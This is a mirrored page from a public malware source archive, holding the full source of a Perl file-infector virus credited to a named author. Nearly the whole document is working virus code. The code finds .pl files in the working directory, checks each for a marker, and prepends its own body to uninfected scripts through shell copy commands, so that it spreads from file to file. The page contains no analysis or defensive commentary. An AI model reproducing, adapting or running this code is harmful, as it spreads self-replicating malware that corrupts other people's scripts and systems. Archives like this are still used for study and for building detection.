mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 09:26:09 +00:00
88 lines
2.1 KiB
Plaintext
88 lines
2.1 KiB
Plaintext
#onehalf3554
|
|
|
|
# this perl virus (c)Chernickevich Konstantin
|
|
# http://onehalf.hotmail.ru
|
|
# email:onehalf3554@mail.ru
|
|
|
|
|
|
|
|
system"clear";
|
|
$partone="#End_my";
|
|
$parttwo="_body";
|
|
$EndMarker=$partone.$parttwo;
|
|
$infected=0;
|
|
$BodyCopy=0;
|
|
$textold="";
|
|
|
|
# this "while" for detecting *.pl file
|
|
# and output in the $_ local perl variable
|
|
|
|
while (<*.pl>)
|
|
{
|
|
|
|
$files=$_;
|
|
$text="<".$_;
|
|
$textw=">".$_;
|
|
$textww=">>".$_;
|
|
|
|
|
|
open(TESTFILE,$text);
|
|
until(eof(TESTFILE))
|
|
{
|
|
$strres=readline(TESTFILE);
|
|
|
|
|
|
# this procedure detecting a marker in the *.pl file
|
|
# if marker detected then file infected if not then file not infected!
|
|
|
|
if ($strres=~ m/onehalf3554/i)
|
|
{
|
|
if ($BodyCopy==0)
|
|
{
|
|
$BodyCopy=1;
|
|
open(VIRUSBODY,$text);
|
|
until ($BodyStr=~ m/$EndMarker/i)
|
|
{
|
|
$BodyStr=readline(VIRUSBODY) ;
|
|
$BodyLoopCount++;
|
|
$BodyArray[$BodyLoopCount]=$BodyStr;
|
|
}
|
|
close(VIRUSBODY);
|
|
}
|
|
$infected=1;
|
|
}
|
|
}
|
|
close (TESTFILE);
|
|
|
|
if ($infected==1)
|
|
{
|
|
print "[im detecting old infecting file :]\n";
|
|
print $textw." infected old time.[Ok]\n";
|
|
open(RESERVBODY,">body.bod");
|
|
print RESERVBODY @BodyArray;
|
|
close(RESERVBODY);
|
|
}
|
|
|
|
|
|
if ($infected==0)
|
|
{
|
|
print $textw."im trying infecting this file now! \n";
|
|
system "cp ".$files." temp.bod";
|
|
open(NULFILE,$textww);
|
|
$NUL="";
|
|
print NULFILE $NUL;
|
|
system "cp body.bod"." ".$files;
|
|
open(DATAFILE,"<temp.bod");
|
|
until(eof(DATAFILE))
|
|
{
|
|
$reloader=readline(DATAFILE);
|
|
print NULFILE $reloader;
|
|
}
|
|
close(DATAFILE);
|
|
close(NULFILE);
|
|
}
|
|
|
|
}
|
|
#End_my_body
|
|
|